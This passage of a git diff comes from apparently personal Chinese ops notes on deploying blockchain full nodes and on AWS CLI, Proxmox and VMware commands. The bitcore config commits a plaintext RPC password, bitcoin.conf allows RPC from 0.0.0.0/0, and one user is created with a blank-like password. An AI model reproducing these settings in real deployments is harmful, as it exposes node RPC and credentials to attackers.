"/home/bitcore/.nvm/versions/node//lib/node_modules/bitcore/node_modules/bitcore-node/bin/bitcoind" - } - } - } -} -bitcore install insight-api insight-ui -# 创建后台启动脚本 -vim startBtc.sh -#! /bin/bash -export PATH=$PATH:/home/bitcoin/.nvm/versions/node/v8.16.2/bin/ -# version=6时设置下面变量,node会报错;version=8时,成功 -export NODE_OPTIONS=--max_old_space_size=3145728 -cd /home/bitcoin/btcnode -logPath=/data/logs/bitcore_`date +%Y%m%d%H%M%S`.log -bitcored > ${logPath} 2>&1 - -# 启动 -bash startBtc.sh -``` -### 运维须知 -1. 默认端口 - p2p: 8333 - rpc: 8332 - bitcore: 3001 - ZMQ: 28332 - -2. API获取块高 - curl http://localhost:3001/insight-api/sync - -3. 获取相关信息 - curl http://localhost:3001/insight-api/status?=getTxOutSetInfo -4. 区块链游览器 - https://tbtc.bitaps.com/ -5. 免费的接口调用(封装过的) - https://developer.bitaps.com/blockchain#Last_block \ No newline at end of file diff --git a/blockchain/fullnode/4-2 BTC.md b/blockchain/fullnode/4-2 BTC.md deleted file mode 100644 index c78f4aa..0000000 --- a/blockchain/fullnode/4-2 BTC.md +++ /dev/null @@ -1,181 +0,0 @@ -[TOC] -### 部署BTC -参考文档 -https://github.com/bitpay/bitcore -https://blog.csdn.net/weixin_30613727/article/details/97989532 - -##### 环境需求: -1. testnet Requirements: -2核8G -磁盘150G -Trusted P2P Peer -> 需要一个bitcoin全节点 -MongoDB Server >= v3.4 -> 需要MongoDB -node v10 -2. Requirements: -8核16G -磁盘1500G -io要达到10000 -Trusted P2P Peer -> 需要一个bitcoin全节点 -MongoDB Server >= v3.4 -> 需要MongoDB -node v10 -#### 安装 -##### 1创建bitcore用户 -```bash -useradd -m bitcore -chown -R bitcore.bitcore /data -su - bitcore -``` -##### 2安装启动bitcoin -1. 下载最新的bitcoin全节点 - wget https://bitcoin.org/bin/bitcoin-core-0.19.1/bitcoin-0.19.1-x86_64-linux-gnu.tar.gz - tar xzvf bitcoin-0.19.1-x86_64-linux-gnu.tar.gz && mv bitcoin-0.19.1 bitcoin && cd bitcoin -2. 编辑配置文件 -mkdir /data/bitcoin -mkdir /home/bitcore/bitcoin/logs -vi bitcoin.conf -```conf -datadir=/data/bitcoin -testnet=1 # 主网则去掉这条配置 -server=1 -whitebind=127.0.0.1:18333 -whitelist=127.0.0.1 -txindex=1 -addressindex=1 # -timestampindex=1 # -spentindex=1 # -zmqpubrawtx=tcp://127.0.0.1:28332 -zmqpubhashtx=tcp://127.0.0.1:28333 -zmqpubhashblock=tcp://127.0.0.1:28334 -zmqpubrawblock=tcp://127.0.0.1:28335 -rpcallowip=0.0.0.0/0 -rpcport=18332 -rpcuser=gary -rpcpassword=XXXXXX -uacomment=bitcore -``` -3. 启动 -```bash -# 配置文件要指定全路径 -log=/home/bitcore/bitcoin/logs/`date '+%Y-%m-%d'`.log -/home/bitcore/bitcoin/bin/bitcoind --rpcport=18332 --rpcbind=0.0.0.0 -conf=/home/bitcore/bitcoin/bitcoin.conf >> $log -``` -##### 3安装MongoDB -版本 4+ -##### 4安装node v10 -node v10 -##### 5安装bitcore -1. 下载 -git clone https://github.com/bitpay/bitcore -2. 安装依赖 -cd bitcore -sudo su yum install gcc-c++ -npm install -- 注意事项1: -```log -[14:55:07] I/config_source - curl -o/home/bitcore/bitcore.bak/packages/insight/node_modules/webdriver-manager/selenium/chrome-response.xml https://chromedriver.storage.googleapis.com/ -events.js: - throw er; // Unhandled 'error' event - ^ -Error: ESOCKETTIMEDOUT -``` -没法在中国大陆的服务器上进行npm install -npm installl时,中国大陆服务器访问超时 https://chromedriver.storage.googleapis.com/ - -- 注意事项2: -```log -Error: Cannot find module './build/Debug/addon' -/bitcore/packages/bitcore-node/node_modules/heapdump/build/* -``` -缺少addon,我是从别的地方拷贝过来的,理论上也可以通过npm rebuild获取吧 - -3. 配置bitcore.config.json -```conf -{ - "bitcoreNode": { - "modules": ["./bitcoin", "./bitcoin-cash", "./ethereum", "./ripple"], - "services": { - "api": { - "wallets": { - "allowCreationBeforeCompleteSync": true - }, - "rateLimiter": { - "disabled": true, - "whitelist": [ - "::ffff:127.0.0.1" - ] - } - } - }, - "chains": { - "BTC": { - "testnet": { - "chainSource": "p2p", - "trustedPeers": [ - { - "host": "bitcoin", - "port": 18332 - } - ], - "rpc": { - "host": "bitcoin", - "port": 18333, - "username": "gary", - "password": "@gary123456" - } - } - }, - "ETH": { - "testnet": { - "chainSource": "p2p", - "trustedPeers": [ - { - "host": "parity", - "port": 30303 - } - ], - "provider": { - "host": "parity", - "protocol": "ws", - "port": 8546 - } - } - }, - "XRP": { - "mainnet": { - "chainSource": "rpc", - "provider": { - "host": "rippled", - "protocol": "ws", - "port": "6006", - "dataHost": "rippled" - } - } - } - } - } -} -``` -4. 启动 -- 创建后台启动脚本 vim start.sh -```bash -#!/bin/bash -export PATH=$PATH:/home/bitcore/.nvm/versions/node/v10.20.1/bin/ -export NODE_OPTIONS=--max_old_space_size=3145728 -cd /home/bitcore/bitcore - -logPath=/home/bitcore/bitcore/logs/log_`date +%Y-%m-%d`.log -npm run node >> ${logPath} 2>&1 -``` -- 启动 -bash start.sh - -### 运维BTC -1. bitcoin端口 - - rpc 18332 - - p2p 18333 -2. bitcor默认端口 - - 3000 -3. 获取块高的API - curl 127.0.0.1:3000/api/BTC/mainnet/block/tip | grep height -4. 区块链游览器 - https://tbtc.bitaps.com/ \ No newline at end of file diff --git a/blockchain/fullnode/5 Blockstack-STX.md b/blockchain/fullnode/5 Blockstack-STX.md deleted file mode 100644 index 2d8b0e3..0000000 --- a/blockchain/fullnode/5 Blockstack-STX.md +++ /dev/null @@ -1,41 +0,0 @@ -- git仓库 -https://github.com/blockstack/blockstack-core -### 部署Blockstack STX -- 使用pip安装, 版本v20.0.9.0 -```shell -# 官方文档 https://github.com/blockstack/blockstack-core - -# 安装依赖 -apt-get update && sudo apt-get install -y python-pip python-dev libssl-dev libffi-dev rng-tools libgmp3-dev -pip install pyparsing -# 安装并更新blockstack -pip install blockstack --upgrade - -mkdir /data/STX -adduser STX -m -d /data/STX -p 0 -# 进行配置 -blockstack-core configure --working-dir /data/STX/blockstack-server -# 拉取块高 -blockstack-core --debug fast_sync --working-dir /data/STX/blockstack-server -# 启动 -blockstack-core --debug start --working-dir /data/STX/blockstack-server -# 关闭 -blockstack-core stop --working-dir /data/STX/blockstack-server -``` -### 运维须知 -1. 默认端口 - - rpc_port : 6270 - - p2p_port : 6264 -2. 查看进程存活 - - curl http://localhost:6270/v1/ping -3. API查看本地块高 - - curl http://localhost:6270/v1/info | grep "last_block_processed" -4. API查看官方的块高 - - curl https://core.blockstack.org/v1/info | grep "last_block_processed" - -5. 从本地节点查看块高交易信息 - - curl http://127.0.0.1:6270/v1/blockchains/bitcoin/operations/608484 -6. 从官方节点查看块高交易信息 - - https://core.blockstack.org/v1/blockchains/bitcoin/operations/617322 -7. 区块链游览器 - - https://explorer.blockstack.org/ \ No newline at end of file diff --git a/blockchain/fullnode/6 Tezos.md b/blockchain/fullnode/6 Tezos.md deleted file mode 100644 index 69b2bfe..0000000 --- a/blockchain/fullnode/6 Tezos.md +++ /dev/null @@ -1,77 +0,0 @@ -[TOC] -- 参考文档 -https://tezos.gitlab.io -### 部署 Tezos -- 部署方式docker -1. 硬件要求 - 最低2C4G,否则会出现同步缓慢,磁盘吞吐量飙升 - -```shell -# 安装docker-compose -yum -y install python-pip -pip install docker-compose - -# 下载部署脚本(根据脚本名字区分是否是测试网) -# 主网 -wget -O mainnet.sh https://gitlab.com/tezos/tezos/raw/master/scripts/alphanet.sh -chmod +x mainnet.sh -mv mainnet.sh /usr/local/bin -# 测试网 -wget https://gitlab.com/tezos/tezos/raw/master/scripts/alphanet.sh 被废弃了 -wget -O babylonnet.sh https://gitlab.com/tezos/tezos/raw/babylonnet/scripts/alphanet.sh -chmod +x alphanet.sh -mv alphanet.sh /usr/local/bin - -# 禁止镜像自动更新 -cat > /etc/profile.d/tezos.sh << "EOF" -export TEZOS_ALPHANET_DO_NOT_PULL=yes -export TEZOS_MAINNET_DO_NOT_PULL=yes -EOF -source /etc/profile.d/tezos.sh - -# 启动fullnode节点(会自动拉镜像,并启动) 必须指定rpc端口否则RPC端口可能不开启 -# 诺想改变卷目录则需要修改mainnet.sh -mainnet.sh node start --rpc-port 0.0.0.0:8732 -``` - -### 运维须知 -1. 默认端口 - - p2p:9732 - - rpc:8732 - -2. 浏览器 - - 主网 - https://tzscan.io/ 废弃 - https://tezos.id/ - - 测试网 - https://alphanet.tzscan.io/ 废弃 - https://babylonnet.tezos.id/ - -3. 数据目录 - /data/docker/volumes/mainnet_node_data/_data/data - -4. 常用命令 -mainnet.sh node - -5. 指令查看块高 - - mainnet.sh head - -6. tezos-node shell 内的命令 -```shell -1. 生成节点id - tezos-node identity generate -2. 清理无效的块信息 - tezos-admin-client unmark all invalid blocks -3. 生成用户 - tezos-client gen keys bob -4. 通过官方的json文件,生成含有一定金额的用户 - tezos-client activate account alice with "tz1__xxxxxxxxx__.json" -5. 列出所有用户 - tezos-client list known contracts -6. 获取用户的金额 - tezos-client get balance for tz1gSoJR8FaoKvRH1T31uLSMuHbQMyYdvZTP -``` - -7. API查看块高 - - 本地 curl http://127.0.0.1:8732/chains/main/blocks/head/header | grep level - - 官网主网 curl https://api.tzstats.com/explorer/block/head | grep height diff --git a/blockchain/fullnode/7 Vechain-Vet.md b/blockchain/fullnode/7 Vechain-Vet.md deleted file mode 100644 index acde796..0000000 --- a/blockchain/fullnode/7 Vechain-Vet.md +++ /dev/null @@ -1,32 +0,0 @@ -[TOC] -- 参考链接 -https://github.com/vechain/thor -- 链 Vechain -- 币 VET -- 语言 go -- 进程 thor -### 部署 Vechain -- 部署方式源码 -```bash -# 春节用户 -useradd -m -r thor -su - thor -# 1. 安装go环境 -# 2. 下载源码 -git clone https://github.com/vechain/thor.git -# 3.编译 -make dep -make -# 4. 运行 -/home/thor/thor/bin/thor --network test --api-addr 0.0.0.0:8669 --data-dir /opt/thor_data -# 主网为 --network main - ``` -### 运维须知 -1. 默认端口: - - p2p: 11235 - - rpc: 8669 -2. API查看块高 - curl http://127.0.0.1:8669/blocks/best -3. 区块链浏览器 - - 主网: https://explore.vechain.org/ - - 测试网:https://explore-testnet.vechain.org/ \ No newline at end of file diff --git a/blockchain/fullnode/8 Iris.md b/blockchain/fullnode/8 Iris.md deleted file mode 100644 index ec84941..0000000 --- a/blockchain/fullnode/8 Iris.md +++ /dev/null @@ -1,54 +0,0 @@ -[TOC] - [官网详情链接](https://www.irisnet.org/docs/get-started/mainnet.html#upgrade-to-validator-node) -### 部署Iris -```bash -# 安装go环境 -goPath=~/go -mkdir -p ${goPath}/go/bin -echo "export GOPATH=$HOME/go" >> ~/.bashrc -echo "export GOBIN=$GOPATH/bin" >> ~/.bashrc -echo "export PATH=$PATH:$GOBIN" >> ~/.bashrc -source ~/.bashrc - -# 1、安装iris -git clone --branch v0.16.0 https://github.com/irisnet/irishub -cd irishub -# source scripts/setTestEnv.sh # to build or install the testnet version -make get_tools install - -# 2、初始化为主网节点 -homePath=/data/iris/iris -iris init --moniker=moniker-wx --home=${homePath} --chain-id=irishub cd /config/ rm genesis.json rm config.toml -# chain-id=irishub代表是IRISnet主网 - -# 下载公链的配置文件,并替换 -curl -o ~/.iris/config/config.toml https://raw.githubusercontent.com/irisnet/mainnet/master/config/config.toml -curl -o ~/.iris/config/genesis.json https://raw.githubusercontent.com/irisnet/mainnet/master/config/genesis.json -mv config.toml ${homePath}/config/ && mv genesis.json ${homePath}/config/ - -# 3、启动 -p2pLogPath=/data/iris/iris/node.log -iris start --home=${irisHomePath} > ${p2pLogPath} 2>&1 - -rpcLogPath=/data/iris/iriscli/server.log -irislcd start --node=tcp://localhost:26657 --laddr=tcp://0.0.0.0:1317 --chain-id=irishub --home=${homePath} --trust-node > ${rpcLogPath} 2>&1 - -``` -### 运维须知 -1. 默认端口 - rpc: 1317 - p2p: 26656 -2. 查看节点信息 - iriscli status -3. 指令查看块高 - iriscli status | grep latest_block_height -1. API查看块高 - curl http://127.0.0.1:1317/blocks/latest -2. 通过快照同步快高 - iris snapshot --home= - - -20191129更新: -跳转:3447000 - - diff --git a/blockchain/fullnode/9 Vsystems.md b/blockchain/fullnode/9 Vsystems.md deleted file mode 100644 index 7744fab..0000000 --- a/blockchain/fullnode/9 Vsystems.md +++ /dev/null @@ -1,68 +0,0 @@ -#### 安装部署 -1. 硬件配置 -2c4g100g -ubuntu - -2. JRE1.8 - -```shell -# 安装oracal-java环境- 失败 -add-apt-repository -y ppa:webupd8team/java -apt-get update -apt-get -y install oracle-java8-installer -java -version - -# 安装openjdk 环境 -# 以下均在root用户下操作 -apt-get update -y -apt-get install openjdk-8-jdk -y -java -version - -# 卸载 - #若是oracle-jdk -apt-get remove oracle-java8-installer -#若是openjdk -apt-get remove/purge openjdk* - -``` - -#### TestNet安装 - -```shell -cd /data -# 这里决定是用主网还是测试网 -wget https://github.com/virtualeconomy/v-systems/releases/download/v0.2.0/v_systems_0.2.0_testnet.deb -sudo dpkg -i v_systems_0.2.0_testnet.deb - -sudo mkdir -p /data/vsys/data -sudo chown -R vsys:vsys /data/vsys - -# 更改配置文件 -vim /etc/vsys/vsys.conf -更改存储目录 -directory = /data/vsys - -# 启动 -systemctl start vsys.service -systemctl enable vsys.service -journalctl -u vsys.service -f - -``` - -## 运维须知 -API查看块高 -curl -X GET --header 'Accept: application/json' 'http://localhost:9922/blocks/height' -测试节点 -http://${IP}:9922/api-docs/index.html#!/blocks/height -超级节点 -https://vsysrate.com/ -官网 -https://www.v.systems -钱包 -https://www.v.systems/zh-tw/wallet.html -浏览器 -https://explorer.v.systems/ -wiki -https://github.com/virtualeconomy/v-systems/wiki -主网API -http://${IP}:9922/api-docs/index.html#/wallet \ No newline at end of file diff --git a/blockchain/fullnode/BCH.txt b/blockchain/fullnode/BCH.txt deleted file mode 100644 index ea25f49..0000000 --- a/blockchain/fullnode/BCH.txt +++ /dev/null @@ -1,6 +0,0 @@ -默认端口 -rpc: 3000 -p2p: 8332 - -RPC -curl http://bch-i.hub.garys.top:3000/api/BCH/mainnet/block/tip \ No newline at end of file diff --git a/blockchain/fullnode/CYB.txt b/blockchain/fullnode/CYB.txt deleted file mode 100644 index 8590be7..0000000 --- a/blockchain/fullnode/CYB.txt +++ /dev/null @@ -1,3 +0,0 @@ -默认端口 -ws: 8090 -p2p: 5000 \ No newline at end of file diff --git a/blockchain/fullnode/ChainX.txt b/blockchain/fullnode/ChainX.txt deleted file mode 100644 index 8718a5e..0000000 --- a/blockchain/fullnode/ChainX.txt +++ /dev/null @@ -1,18 +0,0 @@ - - -进程名witness -自己服务化cyb进程 - - -普通升级:更换二进制 - -生产环境配置文件:/data/data-dir/config.ini - - -区块链游览器 -https://stats.chainx.org/#list/ChainX - -默认端口 -rpc: 8086 -ws: 8087 -p2p: 20222 \ No newline at end of file diff --git a/blockchain/fullnode/LTC.txt b/blockchain/fullnode/LTC.txt deleted file mode 100644 index 69fd2ee..0000000 --- a/blockchain/fullnode/LTC.txt +++ /dev/null @@ -1,2 +0,0 @@ - curl http://${IP}:3007/insight-lite-api/blocks?limit=1 | grep height - diff --git a/blockchain/fullnode/cosmos.txt b/blockchain/fullnode/cosmos.txt deleted file mode 100644 index 0faf6bc..0000000 --- a/blockchain/fullnode/cosmos.txt +++ /dev/null @@ -1,48 +0,0 @@ -1. 安装Go环境 - -2. 编译安装 -git clone -b https://github.com/cosmos/gaia -cd gaia && make install - -3. 验证 -gaiad version --long -gaiacli version --long - -4.加入主网 - -5.启动 -gaiacli start - -查看块高 -gaiacli status | grep latest_block_height - -代币:Atom - -默认端口: -RPC: 1317 -P2P: 26656 - - - - - -cosmos链 -https://github.com/cosmos/cosmos-sdk -https://cosmos.network/docs/cosmos-hub - - -systemctl start cosmos -systemctl start cosmos-rest -查块高 curl http://127.0.0.1:1317/blocks/latest - -更新升级: -1 确认存在go环境 -2 cd $GOPATH/src/github.com/cosmos/cosmos-sdk -3 git pull -4 git checkout ${tag} -5 systemctl stop cosmos -6 systemctl stop cosmos-rest -7 make tools install -查看是否更新成功 -gaiad version --long -gaiacli version --long \ No newline at end of file diff --git a/blockchain/fullnode/eos.txt b/blockchain/fullnode/eos.txt deleted file mode 100644 index d8dd032..0000000 --- a/blockchain/fullnode/eos.txt +++ /dev/null @@ -1,22 +0,0 @@ -eos -在我们搭的所有链中 块高最高 -数据不干净,可能会使块高从0开始增长。因此每次重启需要拉 快照。 -查看版本 nodeos -v - -Ubuntu部署: -wget $(wget --quiet "https://eosnode.tools/api/snapshots?limit=1" -O- | jq -r '.data[0].s3') -O snapshot.tar.gz -tar -xvf snapshot.tar.gz -wget https://github.com/EOSIO/eos/releases/download//eosio_-ubuntu-16.04_amd64.deb -dpkg -i eosio_-ubuntu-16.04_amd64.deb -export EOS_ROOT=`pwd` -nohup nodeos --config-dir ${EOS_ROOT} --data-dir ${EOS_ROOT}/data --snapshot > ./nodeos.log 2>&1 & - -更新: -wget 拉去最新dpkg包 -停nodeos进程 -dpkg 安装最新的包 - - -默认端口 -rpc 8888 -p2p 9876 \ No newline at end of file diff --git a/blockchain/fullnode/usdt.txt b/blockchain/fullnode/usdt.txt deleted file mode 100644 index cc3351e..0000000 --- a/blockchain/fullnode/usdt.txt +++ /dev/null @@ -1,8 +0,0 @@ -rpc:8332 - -指令 -./omnicore-cli -conf=/home/usdt/cfg/bitcoin-live.conf "omni_getbalance" "1EfGpn8GcMJR6wBMyUkCfAyYLncqCigwqZ" 31 - - ---user omnicorerpc -curl --data-binary '{"jsonrpc": "2.0", "id":"curltest", "method": "getinfo", "params": [] }' -H 'content-type: application/json; ' http://127.0.0.1:8332/ diff --git a/blockchain/fullnode/vsys.txt b/blockchain/fullnode/vsys.txt deleted file mode 100644 index d23b091..0000000 --- a/blockchain/fullnode/vsys.txt +++ /dev/null @@ -1 +0,0 @@ -基于java的链 \ No newline at end of file diff --git a/blockchain/platone.md b/blockchain/platone.md deleted file mode 100644 index 29cbf67..0000000 --- a/blockchain/platone.md +++ /dev/null @@ -1,28 +0,0 @@ -## 常识 -1. 区块链的某一条链是如何组成的? -很多个全节点相互同步块高,组成一条链。 - -2. 全节点是什么,块高是什么? -全节点可以比喻为一个数据库,是一个进程。 -块高为数据库里面的数据。 - - -3. 共识节点的功能是什么? -全节点可以是 共识节点,非共识节点。 -共识节点具有生成块高的权限,让其它节点来同步块高。 - -4. 区块链的智能合约是什么? - 1. 运行在区块链上的程序。 - 2. 智能合约 通过调用区块链的接口,读写数据。 - 3. 外部程序 通过调用区块链的接口并且传递区合约地址,来调用智能合约的方法。 - -## 合约的编译和部署 -### 编译 -通过 编译器 将 合约代码 编译为 符合运行在链上规格的 文件格式。 - - -### 部署 -#### platone -1. 通过调用链的方法将合约写进链的块高里,链将返回对应的合约地址。 -2. 调用合约的方法(设置桥接) -3. 调用链方法设置CND -- 合约名称、合约版本、合约地址和合约abi \ No newline at end of file diff --git a/blockchain/question.md b/blockchain/question.md deleted file mode 100644 index c723d25..0000000 --- a/blockchain/question.md +++ /dev/null @@ -1,5 +0,0 @@ -### 双重支付/双花支付 -- 定义:同一笔钱进行了两次交易 - -- 避免双花 - - 在比特币中,使用工作量证明算法的共识机制,负责出块的矿主检验每笔交易合法性,其它挖矿节点验证区块里交易的合法性。 \ No newline at end of file diff --git a/cloud/PVE.md b/cloud/PVE.md index f6a8d26..33ac15a 100644 --- a/cloud/PVE.md +++ b/cloud/PVE.md @@ -1,3 +1,9 @@ +--- +created_date: 2021-05-12 +--- + +[TOC] + # 虚拟化系统程序 1. ESXi,是VMWare vSphere Hypervisor套件之下重要组件。前身是ESX,依赖Linux源码,后来抛弃Linux源码做成了ESXi。整个产品企业气息浓重,界面清晰易用,但硬件兼容性较差,没什么扩展性(毕竟不是linux)。 @@ -9,36 +15,46 @@ 4. KVM + OpenStack ## Proxmox + - 参考 - - https://pve.proxmox.com/pve-docs/ + + - https://pve.proxmox.com/pve-docs/ - 安装方式 - - 方式一:直接通过PVE的ISO安装 - - 方式二:先装Debian再添加proxmox的安装源来安装 + + - 方式一:直接通过PVE的ISO安装 + - 方式二:先装Debian再添加proxmox的安装源来安装 - 默认路径 - - iso存放路径: /var/lib/vz/template/iso/ - - 备份路径: /var/lib/vz/dump/ + + - iso存放路径: /var/lib/vz/template/iso/ + - 备份路径: /var/lib/vz/dump/ ### 指令 + 1. 查看集群状态 - - pvecm status + + - pvecm status + 2. 重启PVE服务8006端口 -service pveproxy restart && service pvedaemon restart + service pveproxy restart && service pvedaemon restart 3. 解锁VM -qm unlock ${PVE_VM_ID} - -4. + qm unlock ${PVE_VM_ID} +4. ### 相关工具 + #### 定时快照工具 + - 参考 - - https://github.com/Corsinvest/cv4pve-autosnap - - http://blog.heishacker.com/Proxomox-autosnapshot + + - https://github.com/Corsinvest/cv4pve-autosnap + - http://blog.heishacker.com/Proxomox-autosnapshot - cv4pve-autosnap + ```bash # 下载解压 https://github.com/Corsinvest/cv4pve-autosnap/tags diff --git a/cloud/VMWare/VMWare.md b/cloud/VMWare/VMWare.md index b40a0b7..94a2296 100644 --- a/cloud/VMWare/VMWare.md +++ b/cloud/VMWare/VMWare.md @@ -1,13 +1,22 @@ +--- +created_date: 2020-12-09 +--- + +[TOC] + ## VMware vSphere + - 是一套虚拟化系统的应用程序 1. ESXi 是虚拟化服务。 2. VMware vCenter server 是一个中心化的管理应用。 3. vSphere client 可以通过访问 vCenter Server 来管理 EXSi 服务器。 -## VMware Horizon +## VMware Horizon + - 是 一款桌面虚拟化和应用程序虚拟化产品 -## PowerCLI command -1. 获取虚拟机具体信息:Get-VM 虚拟机名 | Format-List * +## PowerCLI command + +1. 获取虚拟机具体信息:Get-VM 虚拟机名 | Format-List \* 2. 获取所有的命令:Get-VICommand diff --git a/cloud/Vagrant.md b/cloud/Vagrant.md index 7d7338d..114c86b 100644 --- a/cloud/Vagrant.md +++ b/cloud/Vagrant.md @@ -1,15 +1,23 @@ +--- +created_date: 2020-11-30 +--- + +[TOC] ## vagrant + - 参考 https://www.jianshu.com/p/0cabd5072b86 -### 概念 + +### 概念 + 1. vagrant是一个工具,用于创建和部署虚拟化开发环境的。 2. VirtualBox Vagrant是一个开源软件,可以自动化虚拟机的安装和配置流程。基础设施即代码。 3. VirtualBox会开放一个管理虚拟机的接口,Vagrant会利用这个接口创建虚拟机,并且通过Vagrant来管理,配置和自动安装虚拟机。 - ### 指令 + ```bash vagrant reload # 重启 vagrant halt # 关机 @@ -18,4 +26,4 @@ vagrant ssh # 登录虚拟机,登录之后可以使用 ifconfig 命令查看 vagrant port # 查看端口映射列表 vagrant box list # 列出所有的虚拟机 -``` \ No newline at end of file +``` diff --git a/cloud/aws/AWS-CLI.md b/cloud/aws/AWS-CLI.md index b14bf9d..eaacdb6 100644 --- a/cloud/aws/AWS-CLI.md +++ b/cloud/aws/AWS-CLI.md @@ -1,11 +1,19 @@ +--- +created_date: 2021-05-10 +--- + +[TOC] ## 全局参数 + 1. 指定需要使用的密钥配置 - ```bash - AWS_PROFILE=${profile} aws指令 - aws指令 --profile ${profile} - ``` + ```bash + AWS_PROFILE=${profile} aws指令 + aws指令 --profile ${profile} + ``` + ## ec2实例 + ```bash # 1. 查看正在运行的ec2 aws ec2 describe-instances --query 'Reservations[*].Instances[*].[Placement.AvailabilityZone, PrivateIpAddress, InstanceId, InstanceType]' --output text|grep '关键字' @@ -45,6 +53,7 @@ aws ec2 modify-instance-attribute --instance-id ${instance-id} --instance-type ``` ## vpc网络 + ```bash # 1. 创建vpc aws ec2 create-vpc --cidr-block 172.10.0.0/16 @@ -87,6 +96,7 @@ aws ec2 describe-security-groups --group-ids sg-5aa21533 ``` ## 存储卷 + ```bash # 1. 创建存储卷 aws ec2 create-volume --size 50 --availability-zone ap-south-1b --volume-type gp2 @@ -107,7 +117,8 @@ aws ec2 detach-volume --volume-id vol-02aaed26650c96fe5 aws ec2 delete-volume --volume-id vol-02aaed26650c96fe5 ``` -7. ec2机器磁盘扩容 +7. ec2机器磁盘扩容 + ```bash aws ec2 describe-volumes --region us-east-1 --filters Name=attachment.instance-id,Values=${instance-id} @@ -124,6 +135,7 @@ lsblk # 查看设备名称 ``` 8. eks nodes扩容 + ```bash growpart /dev/nvme0n1p1 1 # (如果输出的是中文,那么加一个export LANG=en_us.utf-8,再执行一次) xfs_growfs /dev/nvme0n1p1 # (是xfs filesystem) @@ -135,7 +147,9 @@ sudo xfs_growfs -d / ``` ## s3 + 1. 查看 + ```bash aws s3 ls aws s3 ls s3://bucket @@ -148,6 +162,7 @@ aws s3 cp /${folder} s3://${path} --profile ${profile} ``` 2. 拷贝 + ```bash aws s3 cp /to/local/path s3://bucket/prefix aws s3 cp s3://bucket/prefix /to/local/path @@ -155,17 +170,21 @@ aws s3 cp s3://bucket1/prefix1 s3://bucket2/prefix2 ``` 3. 同步 + ```bash aws sync [--delete] /to/local/dir s3://bucket/prefixdir aws sync [--delete] s3://bucket/prefixdir /to/local/dir aws sync [--delete] s3://bucket1/prefixdir1 s3://bucket2/prefixdir2 ``` + 4. 创建桶 + ```bash aws s3api create-bucket --bucket ${my-bucket} --region eu-west-1 --create-bucket-configuration LocationConstraint=eu-west-1 ``` ## elb + ```bash # 1. 查看某个elb aws elb describe-load-balancers --load-balancer-name project-api-pre @@ -225,8 +244,8 @@ sudo mount -t efs -o tls fs-d6fab935:/ efs 使用 NFS 客户端: sudo mount -t nfs4 -o nfsvers=4.1,rsize=1048576,wsize=1048576,hard,timeo=600,retrans=2,noresvport fs-d6fab935.efs.us-east-1.amazonaws.com:/ efs - ## 安全组规则 + ```bash # 1. 安全组中添加规则 @@ -245,19 +264,24 @@ aws ec2 revoke-security-group-ingress --group-name ${group-name} --protocol tcp aws ec2 revoke-security-group-ingress --group-id ${group_id} --protocol tcp --port 49102 --cidr ${IP}/32 ``` + ## 添加路由表 + ```bash aws ec2 create-route --route-table-id ${route_table_id} --destination-cidr-block ${IP}/32 --network-interface-id eni-0ecf1228a078c99e7 aws ec2 delete-route --route-table-id rtb-044654990eeb5d685 --destination-cidr-block ${IP}/32 ``` + ## ses -aws ses get-account-sending-enabled --region us-east-1 -aws ses update-account-sending-enabled --enabled --region us-east-1 +aws ses get-account-sending-enabled --region us-east-1 + +aws ses update-account-sending-enabled --enabled --region us-east-1 ## 创建ecr + ```bash aws ecr create-repository \ --repository-name ${project} \ @@ -266,12 +290,15 @@ aws ecr create-repository \ ``` ## 创建eks集群 + ```bash eksctl create cluster --name project-pay --version 1.14 --region us-east-1 --vpc-private-subnets=subnet-0bb1762f69c14375d,subnet-0fa86dfc8e7e49e22 --authenticator-role-arn=${authenticator_role_arn} ``` ## 其它 + 1. 将aws映像传到s3然后下载下来 + ```bash # 将aws映像传到s3 image-id=ami-1111111111 @@ -286,12 +313,14 @@ aws s3 cp s3://${bucket}//${filename} ./ ``` ## route53 + 1. 域名解析 -aws route53 change-resource-record-sets --hosted-zone-id Z10397021NVPZUW2HGARY --change-batch file://gary.json --profile=gary + aws route53 change-resource-record-sets --hosted-zone-id Z10397021NVPZUW2HGARY --change-batch file://gary.json --profile=gary 2. 查看域名解析更改后的状态 -aws route53 get-change --id /change/C3QYC83OA0KX5K + aws route53 get-change --id /change/C3QYC83OA0KX5K - gary.json + ```json { "Comment": "Action:CREATE/UPSERT/DELETE", @@ -320,4 +349,4 @@ aws route53 get-change --id /change/C3QYC83OA0KX5K ] } -``` \ No newline at end of file +``` diff --git a/cloud/aws/AWS-tip.md b/cloud/aws/AWS-tip.md index 4872497..c2f4c86 100644 --- a/cloud/aws/AWS-tip.md +++ b/cloud/aws/AWS-tip.md @@ -1,35 +1,49 @@ +--- +created_date: 2021-05-23 +--- + +[TOC] + 1. 磁盘在线扩容 - - https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/recognize-expanded-volume-linux.html - - 扩展 NVMe EBS 卷的文件系统 - ```bash - # 如果有分区在则扩展卷的分区 - sudo growpart /dev/nvme0n1 1 - # 扩展每个卷上的文件系统 - sudo xfs_growfs -d /data # XFS 文件系统 # yum install xfsprogs - # sudo resize2fs /dev/nvme1n1 # ext4 文件系统 - ``` + - https://docs.aws.amazon.com/zh_cn/AWSEC2/latest/UserGuide/recognize-expanded-volume-linux.html + - 扩展 NVMe EBS 卷的文件系统 + + ```bash + # 如果有分区在则扩展卷的分区 + sudo growpart /dev/nvme0n1 1 + # 扩展每个卷上的文件系统 + sudo xfs_growfs -d /data # XFS 文件系统 # yum install xfsprogs + # sudo resize2fs /dev/nvme1n1 # ext4 文件系统 + + ``` 2. 添加多个IP - 1. 实例 --> 联网 --> 管理私有IP地址 --> 分配新IP - 2. - ```bash - ip addr add 10.2.22.218/19 dev eth0 - echo 'ip addr add 10.2.22.218/19 dev eth0' >> /etc/rc.local - ``` - 3. 弹性 --> 关联弹性IP地址 --> 网络接口 + + 1. 实例 --> 联网 --> 管理私有IP地址 --> 分配新IP + 2. + + ```bash + ip addr add 10.2.22.218/19 dev eth0 + echo 'ip addr add 10.2.22.218/19 dev eth0' >> /etc/rc.local + ``` + + 3. 弹性 --> 关联弹性IP地址 --> 网络接口 3. 要实时的确认哪些SQL语句消耗了多少内存 - 1. 启用增强监测以以最短为一秒的时间间隔检查指标。 - - 增强监测在主机级别收集统计数据,CloudWatch 每 60 秒从管理程序级别收集数据。您可以使用增强监测来识别仅发生一秒钟的增加或减少,并查看各个进程使用的 CPU 和内存。 - 2. 在“增强监测”页面中对进程 ID 进行排序,以查看 CPU 占用最多的进程的 ID。 + 1. 启用增强监测以以最短为一秒的时间间隔检查指标。 + + - 